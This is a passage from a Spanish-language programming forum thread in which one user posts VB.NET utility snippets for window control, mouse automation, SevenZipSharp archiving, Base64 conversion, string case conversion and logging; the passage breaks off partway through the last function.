Código
  1. #Region " Toogle FullScreen "
  2.  
  3.    ' [ Toogle FullScreen ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Toogle_FullScreen()
  9.  
  10.    Dim MyFormBorderStyle = Me.FormBorderStyle
  11.    Dim MyWindowState = Me.WindowState
  12.    Dim MyTopMost = Me.TopMost
  13.    Dim IsFullscreened As Boolean
  14.  
  15.    Public Sub Toogle_FullScreen()
  16.        If Not IsFullscreened Then
  17.            IsFullscreened = True
  18.            Me.FormBorderStyle = FormBorderStyle.None
  19.            Me.WindowState = FormWindowState.Maximized
  20.            Me.TopMost = True
  21.        ElseIf IsFullscreened Then
  22.            IsFullscreened = False
  23.            Me.FormBorderStyle = MyFormBorderStyle
  24.            Me.WindowState = MyWindowState
  25.            Me.TopMost = MyTopMost
  26.        End If
  27.    End Sub
  28.  
  29. #End Region



· Devuelve la versión del Framework con el que se ha desarrollado una applicación (o DLL).

Código
  1. #Region " Get FrameWork Of File "
  2.  
  3.    ' [ Get FrameWork Of File Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(Get_FrameWork_Of_File("C:\My .Net Application.exe"))
  7.  
  8.    Private Function Get_FrameWork_Of_File(ByVal File As String) As String
  9.        Try
  10.            Dim FW As System.Reflection.Assembly = Reflection.Assembly.ReflectionOnlyLoadFrom(File)
  11.            Return FW.ImageRuntimeVersion
  12.        Catch ex As Exception
  13.            Return Nothing ' Is not managed code
  14.        End Try
  15.    End Function
  16.  
  17. #End Region



· Devuelve positivo si el número es primo

Código
  1. #Region " Number Is Prime? "
  2.  
  3.    ' [ Number Is Prime? Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(Number_Is_Prime(4)) ' Result: False
  7.  
  8.    Private Function Number_Is_Prime(ByVal Number As Long, Optional ByVal f As Integer = 2) As Boolean
  9.        If Number = f Then Return True
  10.        If Number Mod f = 0 Or Number = 1 Then Return False _
  11.        Else Return Number_Is_Prime(Number, f + 1)
  12.    End Function
  13.  
  14. #End Region



· Valida si un string se puede usar como nombre de archivo en Windows

Código
  1. #Region " Validate Windows FileName "
  2.  
  3.    ' [ Validate Windows FileName Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(Validate_Windows_FileName("C:\Test.txt")) ' Result: True
  7.    ' MsgBox(Validate_Windows_FileName("C:\Te&st.txt")) ' Result: False
  8.  
  9.    Private Function Validate_Windows_FileName(ByRef FileName As String) As Boolean
  10.        Dim Windows_Reserved_Chars As String = "\/:*?""<>|"
  11.  
  12.        For i As Integer = 0 To FileName.Length - 1
  13.            If Windows_Reserved_Chars.Contains(FileName(i)) Then
  14.                Return False ' FileName is not valid
  15.            End If
  16.        Next
  17.  
  18.        Return True ' FileName is valid
  19.    End Function
  20.  
  21. #End Region



· cifra un string a Base64

Código
  1. #Region " String To Base64 "
  2.  
  3.    ' [ String To Base64 Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(String_To_Base64("Test")) ' Result: VGVzdA==
  9.  
  10.    Private Function String_To_Base64(ByVal str As String) As String
  11.        Return Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(str))
  12.    End Function
  13.  
  14. #End Region



· descifra un string Base64 a string

Código
  1. #Region " Base64 To String "
  2.  
  3.    ' [ Base64 To String Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Base64_To_String("VGVzdA==")) ' Result: Test
  9.  
  10.    Private Function Base64_To_String(ByVal str As String) As String
  11.        Return System.Text.Encoding.ASCII.GetString(Convert.FromBase64String(str))
  12.    End Function
  13.  
  14. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Abril 2013, 17:29 pm
· Devuelve la resolución de la pantalla primária o de la pantalla extendida

Código
  1. #Region " Get Screen Resolution "
  2.  
  3.    ' [ Get Screen Resolution Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Get_Screen_Resolution(False).ToString)
  9.    ' MsgBox(Get_Screen_Resolution(True).ToString)
  10.    ' Me.Size = Get_Screen_Resolution()
  11.  
  12.    Private Function Get_Screen_Resolution(ByVal Get_Extended_Screen_Resolution As Boolean) As Point
  13.  
  14.        If Not Get_Extended_Screen_Resolution Then
  15.            Return New Point(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
  16.        Else
  17.            Dim X As Integer, Y As Integer
  18.  
  19.            For Each screen As Screen In screen.AllScreens
  20.                X += screen.Bounds.Width
  21.                Y += screen.Bounds.Height
  22.            Next
  23.  
  24.            Return New Point(X, Y)
  25.        End If
  26.  
  27.    End Function
  28.  
  29. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Abril 2013, 18:23 pm
· Enviar evento click del ratón.

Código
  1. #Region " Mouse Click "
  2.  
  3.    ' [ Mouse Click ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples:
  8.    ' Mouse_Click(MouseButton.Left)      ' Press the left click button
  9.    ' Mouse_Click(MouseButton.Left_Down) ' Hold the left click button
  10.    ' Mouse_Click(MouseButton.Left_Up)   ' Release the left click button
  11.  
  12.    Public Declare Sub Mouse_Event Lib "User32" Alias "mouse_event" (ByVal dwFlags As MouseButton, ByVal dx As Integer, ByVal dy As Integer, ByVal dwData As Integer, ByVal dwExtraInfo As Integer)
  13.  
  14.    Public Enum MouseButton As Int32
  15.  
  16.        Left_Down = &H2    ' Left button (hold)
  17.        Left_Up = &H4      ' Left button (release)
  18.  
  19.        Right_Down = &H8   ' Right button (hold)
  20.        Right_Up = &H10    ' Right button (release)
  21.  
  22.        Middle_Down = &H20 ' Middle button (hold)
  23.        Middle_Up = &H40   ' Middle button (release)
  24.  
  25.        Left               ' Left   button (press)
  26.        Right              ' Right  button (press)
  27.        Middle             ' Middle button (press)
  28.  
  29.    End Enum
  30.  
  31.    Private Sub Mouse_Click(ByVal MouseButton As MouseButton)
  32.        Select Case MouseButton
  33.            Case MouseButton.Left : Mouse_Event(MouseButton.Left_Down, 0, 0, 0, 0) : Mouse_Event(MouseButton.Left_Up, 0, 0, 0, 0)
  34.            Case MouseButton.Right : Mouse_Event(MouseButton.Right_Down, 0, 0, 0, 0) : Mouse_Event(MouseButton.Right_Up, 0, 0, 0, 0)
  35.            Case MouseButton.Middle : Mouse_Event(MouseButton.Middle_Down, 0, 0, 0, 0) : Mouse_Event(MouseButton.Middle_Up, 0, 0, 0, 0)
  36.            Case Else : Mouse_Event(MouseButton, 0, 0, 0, 0)
  37.        End Select
  38.    End Sub
  39.  
  40. #End Region





· Setear la posición del mouse sin APIs y con posibilidad de restingir el movimiento a la pantalla primária.

Código
  1. #Region " Set Cursor Pos "
  2.  
  3.    ' [ Set Cursor Pos Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Set_Cursor_Pos(500, 500)
  9.    ' Set_Cursor_Pos(2500, 0, False)
  10.  
  11.    Private Sub Set_Cursor_Pos(ByVal X As Int32, ByVal Y As Int32, _
  12.                                    Optional ByVal Enable_Extended_Screen As Boolean = True)
  13.  
  14.        If Not Enable_Extended_Screen Then
  15.            Dim Screen_X = My.Computer.Screen.Bounds.Width
  16.            Dim Screen_Y = My.Computer.Screen.Bounds.Height
  17.            If X > Screen_X Then X = Screen_X
  18.            If Y > Screen_Y Then Y = Screen_Y
  19.        End If
  20.  
  21.        Cursor.Position = New System.Drawing.Point(X, Y)
  22.  
  23.    End Sub
  24.  
  25. #End Region





· Devuelve la posición del mouse en formato seleccionable

Código
  1. #Region " Get Cursor Pos "
  2.  
  3.    Public Enum Cursor_Data
  4.        AsText
  5.        AsPoint
  6.    End Enum
  7.  
  8.    ' [ Get Cursor Pos Function ]
  9.    '
  10.    ' // By Elektro H@cker
  11.    '
  12.    ' Examples :
  13.    ' MsgBox(Get_Cursor_Pos(Cursor_Data.AsText))
  14.    ' MsgBox(Get_Cursor_Pos(Cursor_Data.AsPoint).ToString)
  15.  
  16.    Private Function Get_Cursor_Pos(ByVal Cursor_Data As Cursor_Data)
  17.        Select Case Cursor_Data
  18.            Case Cursor_Data.AsText : Return Cursor.Position.X & ", " & Cursor.Position.Y
  19.            Case Cursor_Data.AsPoint : Return Cursor.Position
  20.            Case Else : Return Nothing
  21.        End Select
  22.    End Function
  23.  
  24. #End Region



· Mueve el cursor

Código
  1. #Region " Mouse Move "
  2.  
  3.    ' [ Mouse Move ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples:
  8.    ' Mouse_Move(-50, 0) ' Move the cursor 50 pixels to left
  9.    ' Mouse_Move(+50, 0) ' Move the cursor 50 pixels to right
  10.    ' Mouse_Move(0, +50) ' Move the cursor 50 pixels to down
  11.    ' Mouse_Move(0, -50) ' Move the cursor 50 pixels to up
  12.  
  13.    Public Enum MouseMove_Event As Int32
  14.        Move = &H1
  15.    End Enum
  16.  
  17.    Public Declare Sub Mouse_Event Lib "User32" Alias "mouse_event" (ByVal dwFlags As MouseMove_Event, ByVal dx As Integer, ByVal dy As Integer, ByVal dwData As Integer, ByVal dwExtraInfo As Integer)
  18.  
  19.    Private Sub Mouse_Move(ByVal X As Int32, ByVal Y As Int32)
  20.        Mouse_Event(&H1, X, Y, 0, 0)
  21.    End Sub
  22.  
  23. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 15 Abril 2013, 16:11 pm
· Descomprimir con la librería SevenzipSharp:

EDITO: Mejorado (Extracción con password)

Código
  1. #Region " SevenZipSharp Extract "
  2.  
  3.    ' [ SevenZipSharp Extract Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Instructions :
  8.    ' 1. Add a reference to "SevenZipSharp.dll".
  9.    ' 2. Add the "7z.dll" or "7z64.dll" files to the project.
  10.    ' 3. Use the code below.
  11.    '
  12.    ' Examples :
  13.    ' SevenZipSharp_Extract("C:\File.7zip")                  ' Will be extracted in the same dir.
  14.    ' SevenZipSharp_Extract("C:\File.7zip", "C:\Extracted\") ' Will be extracted in "C:\Extracted\".
  15.    ' SevenZipSharp_Extract("C:\File.7zip", , "Password")    ' Will be extracted with the given password.
  16.  
  17.    Imports SevenZip
  18.    Dim dll As String = "7z.dll"
  19.  
  20.    Private Function SevenZipSharp_Extract(ByVal InputFile As String, _
  21.                                           Optional ByVal OutputDir As String = Nothing, _
  22.                                           Optional ByVal Password As String = "Nothing") As Boolean
  23.  
  24.        Try
  25.            ' Set library path
  26.            SevenZipExtractor.SetLibraryPath(dll)
  27.  
  28.            ' Create extractor and specify the file to extract
  29.            Dim Extractor As SevenZipExtractor = New SevenZipExtractor(InputFile, Password)
  30.  
  31.            ' Specify the output path where the files will be extracted
  32.            If OutputDir Is Nothing Then OutputDir = My.Computer.FileSystem.GetFileInfo(InputFile).DirectoryName
  33.  
  34.            ' Add Progress Handler
  35.            ' AddHandler Extractor.Extracting, AddressOf SevenZipSharp_Extract_Progress
  36.  
  37.            ' Check for password matches
  38.            If Extractor.Check() Then
  39.                ' Start the extraction
  40.                Extractor.BeginExtractArchive(OutputDir)
  41.            Else
  42.                Return False ' Bad password
  43.            End If
  44.  
  45.            Return True ' File extracted
  46.  
  47.            Extractor.Dispose()
  48.  
  49.        Catch ex As Exception
  50.            'Return False ' File not extracted
  51.            Throw New Exception(ex.Message)
  52.        End Try
  53.  
  54.    End Function
  55.  
  56.    ' Public Sub SevenZipSharp_Extract_Progress(ByVal sender As Object, ByVal e As ProgressEventArgs)
  57.    '     MsgBox("Percent extracted: " & e.PercentDone)
  58.    ' End Sub
  59.  
  60. #End Region





· Comprimir con la librería SevenzipSharp:

EDITO: Mejorado (Compresión con password)

Código
  1. #Region " SevenZipSharp Compress "
  2.  
  3.    ' [ SevenZipSharp Compress Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Instructions :
  8.    ' 1. Add a reference to "SevenZipSharp.dll".
  9.    ' 2. Add the "7z.dll" or "7z64.dll" files to the project.
  10.    ' 3. Use the code below.
  11.    '
  12.    ' Examples :
  13.    ' SevenZipSharp_Compress("C:\File.txt")                          ' File will be compressed in the same dir.
  14.    ' SevenZipSharp_Compress("C:\File.txt", "C:\Compressed\File.7z") ' File will be compressed in "C:\Extracted\".
  15.    ' SevenZipSharp_Compress("C:\Folder\", , , , , , "Password")     ' File will be compressed with the given password.
  16.    ' SevenZipSharp_Compress("C:\File.txt", , OutArchiveFormat.Zip, , CompressionMethod.Lzma, CompressionLevel.Ultra)
  17.  
  18.    Imports SevenZip
  19.    Dim dll As String = "7z.dll"
  20.  
  21.    Private Function SevenZipSharp_Compress(ByVal Input_DirOrFile As String, _
  22.                                       Optional ByVal OutputFileName As String = Nothing, _
  23.                                       Optional ByVal Format As OutArchiveFormat = OutArchiveFormat.SevenZip, _
  24.                                       Optional ByVal CompressionMode As CompressionMode = CompressionMode.Create, _
  25.                                       Optional ByVal CompressionMethod As CompressionMethod = CompressionMethod.Lzma, _
  26.                                       Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Normal, _
  27.                                       Optional ByVal Password As String = Nothing) As Boolean
  28.        Try
  29.            ' Set library path
  30.            SevenZipExtractor.SetLibraryPath(dll)
  31.  
  32.            ' Create compressor and specify the file or folder to compress
  33.            Dim Compressor As SevenZipCompressor = New SevenZipCompressor()
  34.  
  35.            ' Set compression parameters
  36.            Compressor.CompressionLevel = CompressionLevel ' Archiving compression level.
  37.            Compressor.CompressionMethod = CompressionMethod ' Append files to compressed file or overwrite the compressed file.
  38.            Compressor.ArchiveFormat = Format ' Compression file format
  39.            Compressor.CompressionMode = CompressionMode ' Compression mode
  40.            Compressor.DirectoryStructure = True ' Preserve the directory structure.
  41.            Compressor.IncludeEmptyDirectories = True ' Include empty directories to archives.
  42.            Compressor.ScanOnlyWritable = False ' Compress files only open for writing.
  43.            Compressor.EncryptHeaders = False ' Encrypt 7-Zip archive headers
  44.            Compressor.TempFolderPath = System.IO.Path.GetTempPath() ' Temporary folder path
  45.            Compressor.FastCompression = False ' Compress as fast as possible, without calling events.
  46.            Compressor.PreserveDirectoryRoot = True ' Preserve the directory root for CompressDirectory.
  47.            Compressor.ZipEncryptionMethod = ZipEncryptionMethod.ZipCrypto ' Encryption method for zip archives.
  48.            Compressor.DefaultItemName = "File.7z" ' Item name used when an item to be compressed has no name, for example, when you compress a MemoryStream instance
  49.  
  50.            ' Get File extension
  51.            Dim CompressedFileExtension As String = Nothing
  52.            Select Case Compressor.ArchiveFormat
  53.                Case OutArchiveFormat.SevenZip : CompressedFileExtension = ".7z"
  54.                Case OutArchiveFormat.BZip2 : CompressedFileExtension = ".bz"
  55.                Case OutArchiveFormat.GZip : CompressedFileExtension = ".gzip"
  56.                Case OutArchiveFormat.Tar : CompressedFileExtension = ".tar"
  57.                Case OutArchiveFormat.XZ : CompressedFileExtension = ".xz"
  58.                Case OutArchiveFormat.Zip : CompressedFileExtension = ".zip"
  59.            End Select
  60.  
  61.            ' Add Progress Handler
  62.            'AddHandler Compressor.Compressing, AddressOf SevenZipSharp_Compress_Progress
  63.  
  64.            ' Removes the end slash ("\") if given for a directory
  65.            If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1)
  66.  
  67.            ' Generate the OutputFileName if any is given.
  68.            If OutputFileName Is Nothing Then _
  69.                OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & CompressedFileExtension).Replace("\\", "\")
  70.  
  71.            ' Check if given argument is Dir or File ...then start the compression
  72.            If IO.Directory.Exists(Input_DirOrFile) Then ' Is a Dir
  73.                If Not Password Is Nothing Then
  74.                    Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True, Password)
  75.                Else
  76.                    Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True)
  77.                End If
  78.            ElseIf IO.File.Exists(Input_DirOrFile) Then ' Is a File
  79.                If Not Password Is Nothing Then
  80.                    Compressor.CompressFilesEncrypted(OutputFileName, Password, Input_DirOrFile)
  81.                Else
  82.                    Compressor.CompressFiles(OutputFileName, Input_DirOrFile)
  83.                End If
  84.            End If
  85.  
  86.        Catch ex As Exception
  87.            'Return False ' File not compressed
  88.            Throw New Exception(ex.Message)
  89.        End Try
  90.  
  91.        Return True ' File compressed
  92.  
  93.    End Function
  94.  
  95.    ' Public Sub SevenZipSharp_Compress_Progress(ByVal sender As Object, ByVal e As ProgressEventArgs)
  96.    '     MsgBox("Percent compressed: " & e.PercentDone)
  97.    ' End Sub
  98.  
  99. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 15 Abril 2013, 16:43 pm
· Devuelve información sobre archivos comprimidos (tamaño, nombre de los archivos internos, total de archivos internos..)

Código
  1. #Region " SevenZipSharp FileInfo "
  2.  
  3.    ' [ SevenZipSharp FileInfo Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Instructions :
  8.    ' 1. Add a reference to "SevenZipSharp.dll".
  9.    ' 2. Add the "7z.dll" or "7z64.dll" files to the project.
  10.    ' 3. Use the code below.
  11.    '
  12.    ' Examples :
  13.    ' MsgBox(SevenZipSharp_FileInfo("C:\Test.7z", SevenZip_Info.Format))
  14.    ' For Each FileName In SevenZipSharp_FileInfo("C:\Test.zip", SevenZip_Info.Internal_Files_FileNames) : MsgBox(FileName) : Next
  15.  
  16.    Imports SevenZip
  17.    Dim dll As String = "7z.dll"
  18.  
  19.    Public Enum SevenZip_Info
  20.        FileName
  21.        Format
  22.        Size_In_Bytes
  23.        Internal_Files_FileNames
  24.        Total_Internal_Files
  25.    End Enum
  26.  
  27.    Private Function SevenZipSharp_FileInfo(ByVal InputFile As String, ByVal Info As SevenZip_Info)
  28.  
  29.        Try
  30.            ' Set library path
  31.            SevenZip.SevenZipExtractor.SetLibraryPath(dll)
  32.  
  33.            ' Create extractor and specify the file to extract
  34.            Dim Extractor As SevenZip.SevenZipExtractor = New SevenZip.SevenZipExtractor(InputFile)
  35.  
  36.            ' Return info
  37.            Select Case Info
  38.  
  39.                Case SevenZip_Info.FileName
  40.                    Return Extractor.FileName
  41.  
  42.                Case SevenZip_Info.Format
  43.                    Return Extractor.Format
  44.  
  45.                Case SevenZip_Info.Size_In_Bytes
  46.                    Return Extractor.PackedSize
  47.  
  48.                Case SevenZip_Info.Total_Internal_Files
  49.                    Return Extractor.FilesCount
  50.  
  51.                Case SevenZip_Info.Internal_Files_FileNames
  52.                    Dim FileList As New List(Of String)
  53.                    For Each Internal_File In Extractor.ArchiveFileData
  54.                        FileList.Add(Internal_File.FileName)
  55.                    Next
  56.                    Return FileList
  57.  
  58.                Case Else
  59.                    Return Nothing
  60.  
  61.            End Select
  62.  
  63.            Extractor.Dispose()
  64.  
  65.        Catch ex As Exception
  66.            ' Return nothing
  67.            Throw New Exception(ex.Message)
  68.        End Try
  69.  
  70.    End Function
  71.  
  72. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 15 Abril 2013, 17:52 pm
Una función muy simple, elimina el último caracter de un string, puede ahorrar bastante escritura de código a veces...

Código
  1. #Region " Remove Last Char "
  2.  
  3.    ' [ Remove Last Char Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Remove_Last_Char("C:\Folder\"))
  9.    ' Var = Remove_Last_Char(Var)
  10.  
  11.    Private Function Remove_Last_Char(ByVal str As String) As String
  12.        Return str.Substring(0, str.Length - 1)
  13.    End Function
  14.  
  15. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 15 Abril 2013, 18:12 pm
· Convierte un string a LowerCase/Titlecase/UpperCase/WordCase

Código
  1. #Region " String to Case "
  2.  
  3.    ' [ String to Case Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(String_To_Case("THiS is a TeST", StringCase.Titlecase))
  9.    ' Var = String_To_WordCase(Var, StringCase.LowerCase)
  10.  
  11.    Public Enum StringCase
  12.        LowerCase
  13.        Titlecase
  14.        UpperCase
  15.        WordCase
  16.    End Enum
  17.  
  18.    Private Function String_To_Case(ByVal str As String, ByVal StringCase As StringCase) As String
  19.        Select Case StringCase
  20.            Case Form1.StringCase.LowerCase : Return System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToLower(str)
  21.            Case Form1.StringCase.Titlecase : Return Char.ToUpper(str(0)) + StrConv(str.Substring(1), VbStrConv.Lowercase)
  22.            Case Form1.StringCase.UpperCase : Return System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToUpper(str)
  23.            Case Form1.StringCase.WordCase : Return System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(str)
  24.            Case Else : Return Nothing
  25.        End Select
  26.    End Function
  27.  
  28. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Abril 2013, 12:06 pm
La función de convertir un string a Case, mejorada y mucho más ampliada:

Código
  1. #Region " String to Case "
  2.  
  3.    ' [ String to Case Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(String_To_Case("THiS is a TeST", StringCase.Titlecase))
  9.    ' MsgBox(String_To_Case("THiS is a TeST", StringCase.DelimitedCase_Lower, ";"))
  10.    ' Var = String_To_WordCase(Var, StringCase.LowerCase)
  11.  
  12.    Public Enum StringCase
  13.  
  14.        LowerCase
  15.        UpperCase
  16.        Titlecase
  17.        WordCase
  18.  
  19.        CamelCase_First_Lower
  20.        CamelCase_First_Upper
  21.  
  22.        MixedCase_First_Lower
  23.        MixedCase_First_Upper
  24.        MixedCase_Word_Lower
  25.        MixedCase_Word_Upper
  26.  
  27.        DelimitedCase_Lower
  28.        DelimitedCase_Mixed_Word_Lower
  29.        DelimitedCase_Mixed_Word_Upper
  30.        DelimitedCase_Title
  31.        DelimitedCase_Upper
  32.        DelimitedCase_Word
  33.  
  34.    End Enum
  35.  
  36.    Private Function String_To_Case(ByVal str As String, _
  37.                                    ByVal StringCase As StringCase, _
  38.                                    Optional ByVal Delimiter As String = "-") As String
  39.        Select Case StringCase
  40.  
  41.            Case StringCase.LowerCase
  42.                Return str.ToLower
  43.  
  44.            Case StringCase.UpperCase
  45.                Return str.ToUpper
  46.  
  47.            Case StringCase.Titlecase
  48.                Return Char.ToUpper(str(0)) + StrConv(str.Substring(1), VbStrConv.Lowercase)
  49.  
  50.            Case StringCase.WordCase
  51.                Return System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(str)
  52.  
  53.            Case StringCase.CamelCase_First_Lower
  54.                Return Char.ToLower(str(0)) & _
  55.                    System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(str).Replace(" ", "").Substring(1)
  56.  
  57.            Case StringCase.CamelCase_First_Upper
  58.                Return Char.ToUpper(str(0)) & _
  59.                    System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(str).Replace(" ", "").Substring(1)
  60.  
  61.            Case StringCase.MixedCase_First_Lower
  62.                Dim MixedString As String = Nothing
  63.                For X As Integer = 0 To str.Length - 1
  64.                    Dim c As Char = str(X)
  65.                    If (X / 2).ToString.Contains(",") Then _
  66.                         MixedString += c.ToString.ToUpper _
  67.                    Else MixedString += c.ToString.ToLower
  68.                Next
  69.                Return MixedString
  70.  
  71.            Case StringCase.MixedCase_First_Upper
  72.                Dim MixedString As String = Nothing
  73.                For X As Integer = 0 To str.Length - 1
  74.                    Dim c As Char = str(X)
  75.                    If (X / 2).ToString.Contains(",") Then _
  76.                         MixedString += c.ToString.ToLower _
  77.                    Else MixedString += c.ToString.ToUpper
  78.                Next
  79.                Return MixedString
  80.  
  81.            Case StringCase.MixedCase_Word_Lower
  82.                Dim MixedString As String = Nothing
  83.                Dim Count As Integer = 1
  84.                For X As Integer = 0 To str.Length - 1
  85.                    Dim c As Char = str(X)
  86.                    If Not c = " " Then Count += 1 Else Count = 1
  87.                    If (Count / 2).ToString.Contains(",") Then _
  88.                         MixedString += c.ToString.ToUpper _
  89.                    Else MixedString += c.ToString.ToLower
  90.                Next
  91.                Return MixedString
  92.  
  93.            Case StringCase.MixedCase_Word_Upper
  94.                Dim MixedString As String = Nothing
  95.                Dim Count As Integer = 1
  96.                For X As Integer = 0 To str.Length - 1
  97.                    Dim c As Char = str(X)
  98.                    If Not c = " " Then Count += 1 Else Count = 1
  99.                    If (Count / 2).ToString.Contains(",") Then _
  100.                         MixedString += c.ToString.ToLower _
  101.                    Else MixedString += c.ToString.ToUpper
  102.                Next
  103.                Return MixedString
  104.  
  105.            Case StringCase.DelimitedCase_Lower
  106.                Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
  107.                Return rgx.Replace(str.ToLower, Delimiter)
  108.  
  109.            Case StringCase.DelimitedCase_Upper
  110.                Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
  111.                Return rgx.Replace(str.ToUpper, Delimiter)
  112.  
  113.            Case StringCase.DelimitedCase_Title
  114.                Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
  115.                Return rgx.Replace(Char.ToUpper(str(0)) + StrConv(str.Substring(1), VbStrConv.Lowercase), Delimiter)
  116.  
  117.            Case StringCase.DelimitedCase_Word
  118.                Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
  119.                Return rgx.Replace(System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(str), Delimiter)
  120.  
  121.            Case StringCase.DelimitedCase_Mixed_Word_Lower
  122.                Dim MixedString As String = Nothing
  123.                Dim Count As Integer = 1
  124.                For X As Integer = 0 To str.Length - 1
  125.                    Dim c As Char = str(X)
  126.                    If Not c = " " Then Count += 1 Else Count = 1
  127.                    If (Count / 2).ToString.Contains(",") Then _
  128.                         MixedString += c.ToString.ToUpper _
  129.                    Else MixedString += c.ToString.ToLower
  130.                Next
  131.                Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
  132.                Return rgx.Replace(MixedString, Delimiter)
  133.  
  134.            Case StringCase.DelimitedCase_Mixed_Word_Upper
  135.                Dim MixedString As String = Nothing
  136.                Dim Count As Integer = 1
  137.                For X As Integer = 0 To str.Length - 1
  138.                    Dim c As Char = str(X)
  139.                    If Not c = " " Then Count += 1 Else Count = 1
  140.                    If (Count / 2).ToString.Contains(",") Then _
  141.                         MixedString += c.ToString.ToLower _
  142.                    Else MixedString += c.ToString.ToUpper
  143.                Next
  144.                Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
  145.                Return rgx.Replace(MixedString, Delimiter)
  146.  
  147.            Case Else
  148.                Return Nothing
  149.  
  150.        End Select
  151.  
  152.    End Function
  153.  
  154. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Abril 2013, 15:31 pm
· Un AppActivate distinto, en mi opinión mejor, se usa por el nombre del proceso, con posibilidad de seleccionar el proceso por el título de la ventana de dicho proceso:

Código
  1. #Region " Activate APP "
  2.  
  3.    ' [ Activate APP Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' ActivateAPP("notepad.exe")
  9.    ' ActivateAPP("notepad.exe", "Notepad Sub-Window Title")
  10.    ' MsgBox(ActivateAPP("notepad"))
  11.  
  12.    Private Function ActivateAPP(ByVal ProcessName As String, _
  13.                                 Optional ByVal WindowTitle As String = Nothing) As Boolean
  14.  
  15.        If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4)
  16.        Dim ProcessTitle As String = Nothing
  17.        Dim ProcessArray = Process.GetProcessesByName(ProcessName)
  18.  
  19.        If ProcessArray.Length = 0 Then : Return False ' ProcessName not found
  20.  
  21.        ElseIf ProcessArray.Length > 1 AndAlso Not WindowTitle Is Nothing Then
  22.            For Each Title In ProcessArray
  23.                If Title.MainWindowTitle.Contains(WindowTitle) Then _
  24.                   ProcessTitle = Title.MainWindowTitle
  25.            Next
  26.  
  27.        Else : ProcessTitle = ProcessArray(0).MainWindowTitle
  28.        End If
  29.  
  30.        AppActivate(ProcessTitle)
  31.        Return True ' Window activated
  32.  
  33.    End Function
  34.  
  35. #End Region




· Escribe texto en un Log

Código
  1. #Region " Write Log "
  2.  
  3.    ' [ Write Log Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' WriteLog("Application started", InfoType.Information)
  9.    ' WriteLog("Application got mad", InfoType.Critical)
  10.  
  11.    Dim LogFile = CurDir() & "\" & System.Reflection.Assembly.GetExecutingAssembly.GetName().Name & ".log"
  12.  
  13.    Public Enum InfoType
  14.        Information
  15.        Exception
  16.        Critical
  17.        None
  18.    End Enum
  19.  
  20.    Private Function WriteLog(ByVal Message As String, ByVal InfoType As InfoType) As Boolean
  21.        Dim LocalDate As String = My.Computer.Clock.LocalTime.ToString.Split(" ").First
  22.        Dim LocalTime As String = My.Computer.Clock.LocalTime.ToString.Split(" ").Last
  23.        Dim LogDate As String = "[ " & LocalDate & " ] " & " [ " & LocalTime & " ]  "
  24.        Dim MessageType As String = Nothing
  25.  
  26.        Select Case InfoType
  27.            Case InfoType.Information : MessageType = "Information: "
  28.            Case InfoType.Exception : MessageType = "Error: "
  29.            Case InfoType.Critical : MessageType = "Critical: "
  30.            Case InfoType.None : MessageType = ""
  31.        End Select
  32.  
  33.        Try
